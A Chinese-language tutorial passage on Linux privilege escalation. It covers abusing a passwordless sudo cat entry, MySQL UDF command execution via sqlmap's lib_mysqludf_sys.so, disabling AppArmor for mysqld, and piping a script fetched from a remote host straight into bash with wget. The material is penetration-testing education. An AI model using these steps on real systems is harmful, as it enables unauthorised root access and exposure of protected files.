Linux 提权( 四 )


sudo -l # 列出目前用户可执行与无法执行的指令 。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKtdJRsM-1658060018474)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658059738525.png)]
可以看到可以使用root特权下的cat命令,所以可以读取任何文件

Linux 提权

文章插图
 
原理
通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组,然后在/etc/sudoers文件内进行设置
首先设置 chmod +w cat /etc/sudoers 使用vi对其编辑 保存即可
# User privilege specification root ALL=(ALL:ALL) ALL moonsec ALL=(root) NOPASSWD:/bin/cat # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives:
NOPASSWD 不需要密码 使用cat命令 并且具有特权权限 。
linux MySQL udf提权
如果在linux中 存在mysql ,可以试用mysql提权 但是几率不会太大
查看是否存在plugin目录
show variables like '%plugin%';
Linux 提权

文章插图
 
在kali在中使用以下命令进行上传udf.so文件
cd /usr/share/sqlmap/extra/cloak/ sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so 进行解码 wget http://192.168.0.109/lib_mysqludf_sys.so
登录mysql创建函数
use mysql
创建函数
create function sys_eval returns string soname "udf.so"; select sys_eval('id');
Linux 提权

文章插图
 
提权失败的原因
  • plugin 不存在 或者 没权限写入文件
  • udf so文件 版本不对
  • 设置权限
sudo ln -s /etc/Apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld 利用提权信息收集脚本LinEnum 
GitHub下载地址:https://github.com/rebootuser/LinEnum
下载执行
wget -O - http://192.168.0.109/LinEnum.sh | bash
Linux 提权

文章插图
 
linuxprivchecker
python2 版本:https://github.com/sleventyeleven/linuxprivchecker
python3 版本:https://github.com/swarley7/linuxprivchecker
python3 linuxprivchecker.py
Linux 提权

文章插图
 
linux-exploit-suggester2
GitHub下载地址:https://github.com/jondonas/linux-exploit-suggester-2
自动检测
./linux-exploit-suggester-2.pl
指定版本
./linux-exploit-suggester-2.pl -k 3.0.0
Linux 提权

文章插图




推荐阅读